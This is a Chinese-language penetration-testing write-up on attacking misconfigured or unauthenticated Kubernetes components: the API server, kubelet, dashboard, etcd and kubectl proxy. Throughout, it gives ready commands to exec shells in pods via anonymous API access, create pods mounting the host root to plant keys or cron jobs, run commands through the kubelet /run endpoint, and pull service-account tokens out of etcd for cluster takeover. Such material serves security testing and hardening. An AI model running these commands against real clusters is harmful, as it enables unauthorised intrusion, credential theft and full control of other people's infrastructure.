渗透测试中的k8s各个组件未鉴权情况下如何利用都是需要去熟知的,这篇附上常见组件未授权或配置不当情况下如何攻击利用。
组件之间的关系:
对组建的介绍文章很多了,这里不介绍组件的基础,只记录如何利用。
Apiserver
apiserver有两个端口一个认证(Insecure-port ,8080端口,低版本才对外开放,1.20版本后默认不开)、一个不认证(secure-port,6443端口)。
能利用的情况是开放端口并且配置错误,这里的配置错误是将system:anonymous用户绑定到了cluster-admin用户组,那么匿名用户可以支配集群:
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
这种配置下可以拿到所有token后与api server交互,支配集群:
利用
使用kubectl
和apiserver
交互,或者就单纯curl来发包,效果都是一样的。
容器内下载kubectl:
curl -LO "https://dl.Kubernetes.io/release/$(curl -L -s https://dl.Kubernetes.io/release/stable.txt)/bin/linux/amd64/kubectl"
执行pod内命令:
kubectl -s 192.168.1.22:8080 get node #查看node
kubectl -s 192.168.1.22:8080 get pods #查看pod
kubectl -s 192.168.1.22:8080 get pods myapp-pod -o jsonpath={.spec.containers[*].name} #查看容器
kubectl -s 192.168.1.22:8080 --namespace=default my-pod --container main-app -- /bin/bash #对pod的容器shell
替换成curl的话也是一样的,把kubectl的包转成curl即可:
https://192.168.1.22:6443/api/v1/namespaces/default/pods/attacker
https://192.168.1.22:6443/api/v1/namespaces/default/pods/attacker/exec?command=ls&container=ubuntu&container=ubuntu&stderr=true&stdout=true
这时候已经可以执行各种容器的shell和拿到service-account的token之类的了,如果要控apiserver,最简单的就是创建pod的容器挂载宿主机的根目录后续写私钥计划任务之类的,例子:
转成curl也是一样的:
curl -k $APISERVER/api/v1/namespaces/default/pods -X POST --header 'content-type: application/yaml' --data-binary @nginx-pod.yaml
你可以提前把需要创建的pod转成json,再来用curl发包:
kubelet
kublet是管理本机Pod的的工具,而kubectl是用于管理集群的。
每一个 Node 节点都有一个 kubelet 服务,kubelet 监听了 10250,10248,10255 等端口。
- 10250会鉴权,默认是安全的。
- 10255不鉴权,但是是只读端口无法执行命令,可读env、进程信息等。
kubelet对应的API端口默认在10250,运行在集群中每台Node上,kubelet 的配置文件在node上的/var/lib/kubelet/config.yaml
配置错误的条件是:
kubelet api
能否被匿名访问
kubelet api
访问是否需要经过Api server进行授权
默认kubelet配置文件如下:
如果将配置文件中,authentication-anonymous-enabled
改为true
并且authorization-mode为AlwaysAllow
那么就可以实现kubelet未授权访问.
利用:
在pod中执行命令
访问10250发现未授权情况:
通过和api交互,执行pod中的容器命令:
curl -XPOST -k https://node_ip:10250/run/<namespace>/<PodName>/<containerName> -d "cmd=command"
而通过/pod API 中可以获取到每个 POD 的配置,通过筛选host*、securityContext、volumes
等特殊字段内容也可以快速得出哪些是特权容器,方便逃逸。
dashboard
利用条件是管理修改配置,让dashboard可以跳过登录并且配置了高权限Service Account
(cluster-admin),
两个条件达成才可以利用。
安装dashborad:
kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.5.0/aio/deploy/recommended.yaml
kubectl proxy #默认端口 8001
错误配置1跳过登录:
加了--enable-skip-login参数即可跳过登录:
错误配置2高权限Service Account
:
clusterrolebinding对象把sa绑定cluster-admin角色:
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: admin-user
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: ServiceAccount
name: admin-user
namespace: kubernetes-dashboard
两个满足以后,进入dashboard就可以随便部署pod,然后挂载宿主机根目录 ,和前面创建恶意pod一样的流程了:
etcd
etcd 被广泛用于存储分布式系统或机器集群数据,其默认监听了 2379 等端口。
利用条件是错误配置了未授权,etcd的配置文件是/etc/kubernetes/manifests/etcd.yaml
,如果配置中默认去掉了证书校验选项并且能够访问到2379就会有未授权接管的情况:
利用:
etcd有v2和v3两个版本,k8s用的是v3版本,所以需要在访问etcd的时候需要用命令ETCDCTL_API=3来指定etcd版本。
利用etcd未授权,需要使用一个工具叫做etcdctl,它是用来管理etcd数据库的,我们可以在github上下载它
https://github.com/etcd-io/etcd/releases/
在启动etcd时,如果没有指定 --client-cert-auth 参数打开证书校验,并且没有通过iptables / 防火墙等实施访问控制,etcd的接口和数据就会直接暴露给外部黑客"
默认不带证书是无法认证的:
export ETCDCTL_API=3
export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key
把证书相关文件加入环境变量后才能访问:
如果是未授权情况,可以不带证书的校验去访问,获取token:
/etcdctl --endpoints=https://ip:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole
/etcdctl --endpoints=https://ip:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-fltzp
拿到token以后就和前面一样了:
kubectl --insecure-skip-tls-verify=true --server="https://ip:8443" --token="eyJhbG......" get secrets --all-namespaces
自然也可以命令执行:
kubectl proxy
k8s如果在pod上开端口并且使用ClusterIP Service 绑定创建一个service后,需要开放nodeport或者cni这种插件来开放,但是如果为了方便使用kubectl proxy 把localhost地址代理到kubernetes apiserver:
kubectl proxy --address=xxx.xxx.xxx.xxx --port=8080 &
本质上也是kubectl proxy为访问kubernetes apiserver的REST api充当反向代理角色,这样的话通过kubectl proxy转发apiserver,但是这样默认是不鉴权,所以也能导致被接管